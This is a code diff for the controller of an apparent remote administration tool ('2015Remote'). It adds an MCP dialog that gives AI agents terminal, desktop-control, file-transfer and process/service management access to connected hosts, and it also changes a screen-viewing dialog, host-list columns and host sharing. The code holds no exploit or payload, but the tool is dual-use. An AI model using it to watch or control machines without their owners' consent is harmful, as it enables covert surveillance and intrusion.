+    m_editWhitelist.GetWindowText(sWhitelist);
+    bool enabled = (m_btnEnable.GetCheck() == BST_CHECKED);
+    bool readonly = (m_btnReadonly.GetCheck() == BST_CHECKED);
+    bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED);
+    bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED);
+    bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED);
+    bool manage = (m_btnManage.GetCheck() == BST_CHECKED);
+
+    // 端口校验：1-65535
+    int port = atoi(CT2A(sPort));
+    if (port < 1 || port > 65535) {
+        MessageBoxL(_TR("端口需为 1-65535 的数字"), _TR("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    std::string bind = CT2A(sBind);
+    if (bind.empty()) bind = "127.0.0.1";
+
+    std::string token = CT2A(sToken);
+    if (enabled && token.empty()) {
+        MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    // 落盘
+    THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpPort", port);
+    THIS_CFG.SetStr("settings", "McpBind", bind);
+    THIS_CFG.SetStr("settings", "McpToken", token);
+    THIS_CFG.SetInt("settings", "McpReadonly", readonly ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpManage", manage ? 1 : 0);
+    std::string whitelist = CT2A(sWhitelist);
+    whitelist = NormalizeWhitelist(whitelist);
+    THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
+
+    // 拆成两段可翻译的单行键，中间用 \r\n 连接（多行键无法在 INI 中表示）
+    MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
+               _TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。") + _T("\r\n") +
+               _TR("持久终端、远程控制与管理操作仅在只读模式关闭时生效。"),
+               _TR("提示"), MB_ICONINFORMATION);
+
+    CDialog::OnOK();
+}
+
+void CMcpSettingsDlg::LayoutControls(int cx, int cy)
+{
+    const int margin = 14;
+    const int labelW = 72;
+    const int rowH = 24;
+    const int gap = 10;
+    const int btnW = 88;
+    const int btnH = 26;
+
+    int y = margin;
+    m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    m_lblPort.MoveWindow(margin, y, labelW, rowH);
+    m_editPort.MoveWindow(margin + labelW, y - 2, 100, rowH);
+    y += rowH + gap;
+
+    m_lblBind.MoveWindow(margin, y, labelW, rowH);
+    m_editBind.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, rowH);
+    y += rowH + gap;
+
+    m_lblToken.MoveWindow(margin, y, labelW, rowH);
+    m_editToken.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, rowH);
+    y += rowH + gap;
+
+    m_btnReadonly.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    m_btnTerminal.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    m_btnRemoteControl.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    m_btnManage.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    const int whitelistH = 90;
+    m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
+    m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
+    y += whitelistH + gap;
+
+    // 确定 / 取消按钮紧跟白名单下方，不再锚定到底部，避免白名单与按钮之间出现大段空白。
+    m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
+    m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
+    y += btnH + margin;
+
+    // 收缩对话框到内容实际高度并重新居中，消除底部空白。
+    if (y < cy) {
+        CRect wnd;
+        GetWindowRect(&wnd);
+        SetWindowPos(NULL, 0, 0, wnd.Width(), y + (wnd.Height() - cy),
+                     SWP_NOMOVE | SWP_NOZORDER | SWP_NOACTIVATE);
+        CenterWindow();
+    }
+}

server/2015Remote/McpSettingsDlg.h

@@ -0,0 +1,52 @@
+#pragma once
+
+#include <afxwin.h>
+#include <afxcmn.h>
+#include <vector>
+
+// 「MCP设置」配置对话框：启用 MCP / 端口 / 绑定地址 / Token。
+// 因 2015Remote.rc 为 UTF-16 编码、不宜手工编辑，参照 ZstaPickerDlg 用
+// InitModalIndirect + 内存 DLGTEMPLATE 程序化创建（见 docs/Mcp_Design.md §3.8）。
+class CMcpSettingsDlg : public CDialog
+{
+public:
+    explicit CMcpSettingsDlg(CWnd* parent = nullptr);
+
+    virtual INT_PTR DoModal();
+
+protected:
+    virtual BOOL OnInitDialog();
+    virtual void OnOK();
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    enum CtrlId {
+        IDC_MCP_ENABLE = 1001,  // 「启用 MCP」复选框
+        IDC_MCP_PORT   = 1002,  // 端口编辑框
+        IDC_MCP_BIND   = 1003,  // 绑定地址编辑框
+        IDC_MCP_TOKEN  = 1004,  // Token 编辑框
+        IDC_MCP_READONLY  = 1005,  // 「只读模式」复选框（默认勾选，禁 exec_command）
+        IDC_MCP_WHITELIST = 1006,  // 命令白名单编辑框（多行，逗号/换行分隔，空 = 内置只读前缀）
+        IDC_MCP_TERMINAL  = 1007,  // 「启用持久终端」复选框（全命令，无白名单，要求只读关）
+        IDC_MCP_REMOTECONTROL = 1008,  // 「启用远程控制」复选框（AI 操控桌面，要求只读关）
+        IDC_MCP_FILETRANSFER = 1009,  // 「启用文件传输」复选框（download_file，不要求只读关）
+        IDC_MCP_MANAGE      = 1010,  // 「启用管理操作」复选框（kill/窗口/服务/电源，要求只读关）
+    };
+
+    CButton m_btnEnable;
+    CStatic m_lblPort, m_lblBind, m_lblToken;
+    CEdit   m_editPort, m_editBind, m_editToken;
+    CButton m_btnReadonly;
+    CButton m_btnTerminal;
+    CButton m_btnRemoteControl;
+    CButton m_btnFileTransfer;
+    CButton m_btnManage;
+    CStatic m_lblWhitelist;
+    CEdit   m_editWhitelist;
+    CButton m_btnOK, m_btnCancel;
+
+    std::vector<BYTE> m_Template;  // 内存 DLGTEMPLATE 字节
+
+    void LayoutControls(int cx, int cy);
+};

server/2015Remote/NotifyConfig.h

@@ -104,10 +104,14 @@ inline const char* GetColumnName(int index) {
         "Camera",          // 6
         "RTT",             // 7
         "Version",         // 8
-        "Privilege",       // 9  ONLINELIST_PRIVILEGE
+        "InstallTime",     // 9  ONLINELIST_INSTALLTIME
-        "InstallTime",     // 10 ONLINELIST_INSTALLTIME
+        "ActiveWindow",    // 10 ONLINELIST_LOGINTIME
-        "ActiveWindow",    // 11 ONLINELIST_LOGINTIME
+        "ClientType",      // 11 ONLINELIST_CLIENTTYPE
-        "ClientType",      // 12 ONLINELIST_CLIENTTYPE
+        "Path",            // 12 ONLINELIST_PATH
+        "PublicIP",        // 13 ONLINELIST_PUBIP
+        "StartTime",       // 14 ONLINELIST_STARTTIME
+        "Capabilities",    // 15 ONLINELIST_CAPABILITIES
+        "Privilege",       // 16 ONLINELIST_PRIVILEGE
     };
     if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
         return names[index];

server/2015Remote/NotifyManager.cpp

@@ -141,35 +141,52 @@ bool NotifyManager::ShouldNotify(context* ctx, std::string& outMatchedKeyword, c
         }
     }
 
-    // Get column text (for COMPUTER_NAME column, prefer remark if available)
+    // Split pattern by semicolon and get keywords
+    std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
+
+    // Helper: check if any keyword matches a given column text
+    auto matchColumn = [&keywords, this](const CString& colText) -> std::string {
+        if (colText.IsEmpty()) return "";
+        std::string colTextStr = CT2A(colText, CP_UTF8);
+        std::string colLower = colTextStr;
+        std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
+
+        for (const auto& kw : keywords) {
+            std::string trimmed = Trim(kw);
+            if (trimmed.empty()) continue;
+
+            std::string kwLower = trimmed;
+            std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
+
+            if (colLower.find(kwLower) != std::string::npos) {
+                return trimmed;
+            }
+        }
+        return "";
+    };
+
+    // Check primary column (for COMPUTER_NAME column, prefer remark if available)
     CString colText;
     if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) {
         colText = remark;
     } else {
         colText = ctx->GetClientData(rule.columnIndex);
     }
-    if (colText.IsEmpty()) return false;
+    std::string matched = matchColumn(colText);
+    if (!matched.empty()) {
+        outMatchedKeyword = matched;
+        m_config.lastNotifyTime[clientId] = now;
+        return true;
+    }
 
-    // Convert to std::string for matching
+    // Also check the IP column (ONLINELIST_IP) so IP keywords added from log
-    std::string colTextStr = CT2A(colText, CP_UTF8);
+    // messages can match against host IP addresses when they come online.
-
+    CString ipText = ctx->GetClientData(ONLINELIST_IP);
-    // Split pattern by semicolon and check each keyword
+    matched = matchColumn(ipText);
-    std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
+    if (!matched.empty()) {
-    for (const auto& kw : keywords) {
+        outMatchedKeyword = matched;
-        std::string trimmed = Trim(kw);
+        m_config.lastNotifyTime[clientId] = now;
-        if (trimmed.empty()) continue;
+        return true;
-
-        // Case-insensitive substring search
-        std::string colLower = colTextStr;
-        std::string kwLower = trimmed;
-        std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
-        std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
-
-        if (colLower.find(kwLower) != std::string::npos) {
-            outMatchedKeyword = trimmed;
-            m_config.lastNotifyTime[clientId] = now;
-            return true;
-        }
     }
 
     return false;

server/2015Remote/NotifySettingsDlg.cpp

@@ -111,10 +111,10 @@ void NotifySettingsDlg::PopulateComboBoxes()
         { ONLINELIST_VIDEO,        _T("摄像头") },
         { ONLINELIST_PING,         _T("延迟") },
         { ONLINELIST_VERSION,      _T("版本") },
-        { ONLINELIST_PRIVILEGE,    _T("权限") },
         { ONLINELIST_INSTALLTIME,  _T("安装时间") },
         { ONLINELIST_LOGINTIME,    _T("活动窗口") },
         { ONLINELIST_CLIENTTYPE,   _T("客户端类型") },
+        { ONLINELIST_PRIVILEGE,    _T("权限") },
     };
     for (const auto& col : columns) {
         CString item;

server/2015Remote/QualityLevelsDlg.h

@@ -0,0 +1,156 @@
+// QualityLevelsDlg.h
+// 远程桌面质量等级配置对话框：编辑 6 档 QualityProfile（帧率/宽度/算法/码率）。
+// 纯主控端 UI 偏好，持久化由 CMy2015RemoteDlg::SaveQualityProfilesToCfg() 负责。
+// 仅在 2015RemoteDlg.cpp 中 include 一次（头文件内联实现，勿多处包含）。
+#pragma once
+
+#include "LangManager.h"
+
+class CQualityLevelsDlg : public CDialog
+{
+public:
+    enum { IDD = IDD_QUALITY_LEVELS };
+
+    // profiles: 指向 6 元素 QualityProfile 数组，确认后写回
+    CQualityLevelsDlg(QualityProfile* profiles, CWnd* pParent = NULL)
+        : CDialog(CQualityLevelsDlg::IDD, pParent), m_profiles(profiles)
+    {
+    }
+
+protected:
+    QualityProfile* m_profiles;
+    QualityProfile  m_working[QUALITY_COUNT];
+
+    static const char* AlgorithmName(int algo)
+    {
+        switch (algo) {
+            case ALGORITHM_GRAY:   return "GRAY";
+            case ALGORITHM_DIFF:   return "DIFF";
+            case ALGORITHM_H264:   return "H264";
+            case ALGORITHM_RGB565: return "RGB565";
+            default:               return "?";
+        }
+    }
+
+    static const char* LevelName(int i)
+    {
+        static const char* names[QUALITY_COUNT] = {
+            "Ultra", "High", "Good", "Medium", "Low", "Minimal"
+        };
+        return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
+    }
+
+    void FillAlgoCombo(int i)
+    {
+        CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
+        if (!cb) return;
+        for (int a = 0; a < 4; a++) {
+            cb->AddString(CString(AlgorithmName(a)));
+        }
+        cb->SetCurSel(m_working[i].algorithm);
+    }
+
+    void LoadToControls()
+    {
+        CString s;
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            s.Format(_T("%d"), m_working[i].maxFPS);
+            SetDlgItemText(IDC_QLEVEL_FPS + i, s);
+            s.Format(_T("%d"), m_working[i].maxWidth);
+            SetDlgItemText(IDC_QLEVEL_WIDTH + i, s);
+            s.Format(_T("%d"), m_working[i].bitRate);
+            SetDlgItemText(IDC_QLEVEL_BITRATE + i, s);
+            FillAlgoCombo(i);
+        }
+    }
+
+    bool ReadInt(int id, int& out)
+    {
+        CString s;
+        GetDlgItemText(id, s);
+        s.Trim();
+        if (s.IsEmpty()) return false;
+
+        int v = 0;
+        for (int k = 0; k < s.GetLength(); k++) {
+            TCHAR ch = s[k];
+            if (ch < _T('0') || ch > _T('9')) return false;
+            v = v * 10 + (ch - _T('0'));
+        }
+        out = v;
+        return true;
+    }
+
+    bool ReadFromControls(CString& err)
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            int fps, w, br;
+            if (!ReadInt(IDC_QLEVEL_FPS + i, fps))
+            { err.Format(_T("等级 %s 的帧率不是有效数字"), LevelName(i)); return false; }
+            if (!ReadInt(IDC_QLEVEL_WIDTH + i, w))
+            { err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
+            if (!ReadInt(IDC_QLEVEL_BITRATE + i, br))
+            { err.Format(_T("等级 %s 的码率不是有效数字"), LevelName(i)); return false; }
+
+            if (fps < 1 || fps > 60)
+            { err.Format(_T("等级 %s 的帧率需在 1~60 之间"), LevelName(i)); return false; }
+            if (w < 0 || w > 8192)
+            { err.Format(_T("等级 %s 的最大宽度需在 0~8192 之间（0=原始分辨率）"), LevelName(i)); return false; }
+            if (br < 0 || br > 50000)
+            { err.Format(_T("等级 %s 的码率需在 0~50000 之间"), LevelName(i)); return false; }
+
+            CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
+            int algo = cb ? cb->GetCurSel() : -1;
+            if (algo < 0 || algo > 3)
+            { err.Format(_T("等级 %s 的编码算法未选择"), LevelName(i)); return false; }
+
+            m_working[i].maxFPS    = fps;
+            m_working[i].maxWidth  = w;
+            m_working[i].bitRate   = br;
+            m_working[i].algorithm = algo;
+        }
+        return true;
+    }
+
+    void ResetToDefaults()
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = GetQualityProfile(i);
+        }
+        LoadToControls();
+    }
+
+    virtual BOOL OnInitDialog() override
+    {
+        CDialog::OnInitDialog();
+
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = m_profiles[i];
+        }
+        LoadToControls();
+        TranslateDialog(this);
+        return TRUE;
+    }
+
+    virtual void OnOK() override
+    {
+        CString err;
+        if (!ReadFromControls(err)) {
+            MessageBox(err, _TR("提示"), MB_ICONWARNING);
+            return;
+        }
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_profiles[i] = m_working[i];
+        }
+        CDialog::OnOK();
+    }
+
+    virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
+    {
+        if (LOWORD(wParam) == IDC_QLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
+            ResetToDefaults();
+            return TRUE;
+        }
+        return CDialog::OnCommand(wParam, lParam);
+    }
+};

server/2015Remote/ScreenSpyDlg.cpp

@@ -648,7 +648,7 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
     m_BitmapData_Full = NULL;
 
     CString strString;
-    strString.FormatL("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
+    strString.FormatL("%s - 远程桌面控制 %d×%d", GetTitleHostName().GetString(), bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
     SetWindowText(strString);
     uint64_t dlg = (uint64_t)this;
     Mprintf("%s [对话框ID: %llu]\n", strString.GetString(), dlg);
@@ -843,13 +843,9 @@ BOOL CScreenSpyDlg::OnInitDialog()
     m_ClientCursorPos.y = 0;
     m_bCursorIndex = 0;
 
-    m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
-    ICONINFO CursorInfo;
-    ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
     SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
     SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
     SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
     ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
 
     // 设置合理的"正常"窗口大小，显示在主程序所在的显示器上
@@ -893,13 +889,17 @@ BOOL CScreenSpyDlg::OnInitDialog()
     // 启动传输速率更新定时器 (1秒)
     SetTimer(4, 1000, NULL);
 
-    // 下发质量配置表（让客户端可以持久化保存）
+    // 下发质量配置表（让客户端可以持久化保存）。
+    // 优先使用主控端在「高级 → 远程桌面质量等级」里自定义的档位；无主控端时回落内置默认表。
     {
         BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT];
         profileCmd[0] = CMD_QUALITY_PROFILES;
         for (int i = 0; i < QUALITY_COUNT; i++) {
+            const QualityProfile& prof = (m_pParent != nullptr)
+                ? m_pParent->GetQualityProfileCfg(i)
+                : GetQualityProfile(i);
             memcpy(profileCmd + 1 + i * sizeof(QualityProfile),
-                   &GetQualityProfile(i), sizeof(QualityProfile));
+                   &prof, sizeof(QualityProfile));
         }
         m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd));
     }
@@ -1990,7 +1990,23 @@ void CScreenSpyDlg::OnPaint()
 
 BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
 {
-    if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) {
+    // 查看模式(未开启远程控制)：客户区显示禁止图标；标题栏及系统按钮保持正常箭头，
+    // 便于拖动窗口或通过标题栏右键菜单开启远程控制。
+    // 这里按窗口自身状态判断，避免用窗口类光标(GCLP_HCURSOR)时被同类的其他对话框实例
+    // 共享串扰——打开第二个未控制的对话框后，第一个已控制的对话框也被误显示成禁止图标。
+    if (!m_bIsCtrl && nHitTest == HTCLIENT) {
+        ::SetCursor(LoadCursor(NULL, IDC_NO));
+        return TRUE;
+    }
+    if (!m_bIsCtrl &&
+        (nHitTest == HTCAPTION || nHitTest == HTSYSMENU || nHitTest == HTMENU ||
+         nHitTest == HTCLOSE || nHitTest == HTMINBUTTON || nHitTest == HTMAXBUTTON ||
+         nHitTest == HTHELP)) {
+        ::SetCursor(LoadCursor(NULL, IDC_ARROW));
+        return TRUE;
+    }
+    // 控制模式：保持原有逻辑——显示远程光标时客户区隐藏本地物理光标，否则交父类显示远程形状
+    if (m_bIsCtrl && m_Settings.RemoteCursor && nHitTest == HTCLIENT) {
         ::SetCursor(NULL); // 只要在客户区，始终隐藏系统光标
         return TRUE;       // 告诉 Windows 我们处理过了
     }
@@ -2084,7 +2100,6 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         }
         SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
         SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
-        SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
         // 控制模式：禁用本地 IME；查看模式：启用本地 IME
         ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
         break;
@@ -2429,6 +2444,17 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
     __super::OnTimer(nIDEvent);
 }
 
+CString CScreenSpyDlg::GetTitleHostName() const
+{
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    if (m_pParent && m_pParent->m_ClientMap) {
+        CString note = m_pParent->m_ClientMap->GetClientMapData(GetClientID(), MAP_NOTE);
+        if (!note.IsEmpty())
+            return note;
+    }
+    return m_IPAddress;
+}
+
 void CScreenSpyDlg::UpdateWindowTitle()
 {
     if (!m_BitmapInfor_Full) return;
@@ -2444,10 +2470,10 @@ void CScreenSpyDlg::UpdateWindowTitle()
     UINT fps = (UINT)(m_dFrameRate + 0.5);  // 四舍五入显示
     if (m_dTransferRate >= 1024) {
         strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s%s",
-            m_IPAddress, width, height, fps, m_dTransferRate / 1024, qualityName.GetString());
+            GetTitleHostName().GetString(), width, height, fps, m_dTransferRate / 1024, qualityName.GetString());
     } else {
         strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s%s",
-            m_IPAddress, width, height, fps, m_dTransferRate, qualityName.GetString());
+            GetTitleHostName().GetString(), width, height, fps, m_dTransferRate, qualityName.GetString());
     }
     // 追加剪贴板操作提示
     strTitle += (m_Settings.ScreenType == 2) ?
@@ -3473,9 +3499,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
             // 关键：在控制模式下，强制设置光标为空，隐藏本地物理箭头
             ::SetCursor(NULL);
         }
-    } else if (!m_bMouseTracking) {
-        m_bMouseTracking = true;
-        SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
     }
 
     __super::OnMouseMove(nFlags, point);
@@ -3484,9 +3507,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
 void CScreenSpyDlg::OnMouseLeave()
 {
     CWnd::OnMouseLeave();
-
-    m_bMouseTracking = false;
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
 }
 
 void CScreenSpyDlg::OnKillFocus(CWnd* pNewWnd)
@@ -3566,7 +3586,6 @@ void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
             Invalidate(FALSE);
         }
     }
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
     // 控制模式：禁用本地 IME；查看模式：启用本地 IME
     ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
     CMenu* SysMenu = GetSystemMenu(FALSE);

server/2015Remote/ScreenSpyDlg.h

@@ -234,6 +234,9 @@ public:
     // fillMode: 0=不填充, 1=全黑, 2=半透明
     VOID DrawTipString(CString strString, int fillMode=1);
 
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    CString GetTitleHostName() const;
+
     POINT  m_ClientCursorPos;
     BYTE m_bCursorIndex;
     BOOL     m_bIsTraceCursor;
@@ -274,13 +277,11 @@ public:
     clock_t				m_lastMouseMove; // 鼠标移动时间
     POINT				m_lastMousePoint;// 上次鼠标位置
     BOOL				m_bAdaptiveSize = TRUE;
-    HCURSOR				m_hRemoteCursor = NULL;
     HCURSOR             m_hCustomCursor = NULL;      // 缓存的自定义光标
     DWORD               m_dwCustomCursorHash = 0;    // 当前自定义光标哈希
     CRect				m_CRect;
     double				m_wZoom=1, m_hZoom=1;
     int                 m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移（像素）
-    bool				m_bMouseTracking = false;
 
     // 自适应黑边合成缓冲（按窗口尺寸缓存，避免每帧分配 GDI 资源）
     HDC     m_hComposeDC = NULL;

server/2015Remote/Server.h

@@ -112,7 +112,12 @@ protected:
             m_bShouldUnmask = TRUE;
             std::string clientIP = getXForwardedFor(str);
             if (!clientIP.empty()) peer = clientIP;
-        } else {
+        } else if (m_bShouldUnmask != TRUE) {
+            // 仅当连接尚未被判定为 HTTP（初始 -1，或已确认非 HTTP）时才置为 FALSE。
+            // 否则会误伤 HTTP 连接的分片续包：续包到达时读位置已越过掩码头，
+            // TryUnMask 找不到 "POST "（maskType==None），若在这里把 m_bShouldUnmask
+            // 从 TRUE 改回 FALSE，下一个新包（仍是 HTTP 掩码）就不再解掩码，从而被 Parse
+            // 判为 PARSER_FAILED。这正是「kill 后进程列表确认包到不了 NotifyProc」的根因。
             m_bShouldUnmask = FALSE;
         }
         if (nullptr == m_Masker) {
@@ -568,6 +573,20 @@ public:
         }
         return FALSE;
     }
+    // 等待 OutCompressedBuffer 排空。OnClientPostSending 在最后一个 WSASend 完成后
+    // ClearBuffer 使有效长度归零，此处轮询该信号，避免背靠背 Send2Client 对同一缓冲
+    // 并发 WSASend（MCP OnSystemReady 发写命令后补发刷新命令时调用）。
+    bool WaitSendIdle(int timeoutMs) override
+    {
+        ULONGLONG deadline = (timeoutMs > 0) ? (GetTickCount64() + (ULONGLONG)timeoutMs) : 0;
+        while (OutCompressedBuffer.GetBufferLength() != 0) {
+            if (timeoutMs > 0 && GetTickCount64() >= deadline) {
+                return false;
+            }
+            Sleep(1);
+        }
+        return true;
+    }
     VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
     {
         for (int i = 0; i < ONLINELIST_MAX; i++) {

server/2015Remote/ShareHostDlg.cpp

@@ -0,0 +1,125 @@
+// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对话框实现
+//
+
+#include "stdafx.h"
+#include "ShareHostDlg.h"
+#include "2015Remote.h"
+#include <algorithm>
+
+CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/)
+    : CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent)
+    , m_bNeedDays(bNeedDays)
+    , m_bShine(TRUE)
+{
+}
+
+CShareHostDlg::~CShareHostDlg()
+{
+}
+
+void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt)
+{
+    m_sCaption = caption;
+    m_sPrompt = prompt;
+}
+
+void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue)
+{
+    m_sDaysName = name;
+    m_sDays = defaultValue;
+}
+
+void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey)
+{
+    m_sHistoryKey = historyKey;
+}
+
+void CShareHostDlg::DoDataExchange(CDataExchange* pDX)
+{
+    CDialogLangEx::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput);
+    DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays);
+    DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays);
+    DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine);
+}
+
+BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx)
+END_MESSAGE_MAP()
+
+BOOL CShareHostDlg::OnInitDialog()
+{
+    CDialogLangEx::OnInitDialog();
+
+    SetWindowText(m_sCaption);
+    SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt);
+    SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine 协议(兼容 Go 服务端)"));
+    SetDlgItemText(IDOK, _TR("确定"));
+    SetDlgItemText(IDCANCEL, _TR("取消"));
+
+    // 天数（仅转移主机显示）
+    m_StaticDays.SetWindowTextA(m_sDaysName);
+    m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
+    m_EditDays.SetWindowTextA(m_sDays);
+    m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
+
+    // 默认勾选 Shine
+    m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED);
+
+    LoadHistory();
+    m_ComboInput.SetWindowText(m_str);
+
+    return TRUE;
+}
+
+void CShareHostDlg::OnOK()
+{
+    m_ComboInput.GetWindowText(m_str);
+    m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED);
+    if (m_bNeedDays)
+        m_EditDays.GetWindowText(m_sDays);
+
+    SaveHistory();
+    CDialogLangEx::OnOK();
+}
+
+void CShareHostDlg::LoadHistory()
+{
+    if (m_sHistoryKey.IsEmpty()) return;
+
+    std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
+    if (history.empty()) return;
+
+    auto items = StringToVector(history, '|');
+    for (size_t i = 0; i < items.size() && i < 16; i++) {
+        if (!items[i].empty()) {
+            m_ComboInput.AddString(items[i].c_str());
+        }
+    }
+}
+
+void CShareHostDlg::SaveHistory()
+{
+    if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
+
+    std::string newValue = m_str.GetString();
+    if (newValue.find('|') != std::string::npos) return;
+
+    std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
+    auto items = StringToVector(history, '|');
+
+    items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
+    items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
+
+    items.insert(items.begin(), newValue);
+
+    if (items.size() > 16) {
+        items.resize(16);
+    }
+
+    std::string result;
+    for (size_t i = 0; i < items.size(); i++) {
+        if (i > 0) result += '|';
+        result += items[i];
+    }
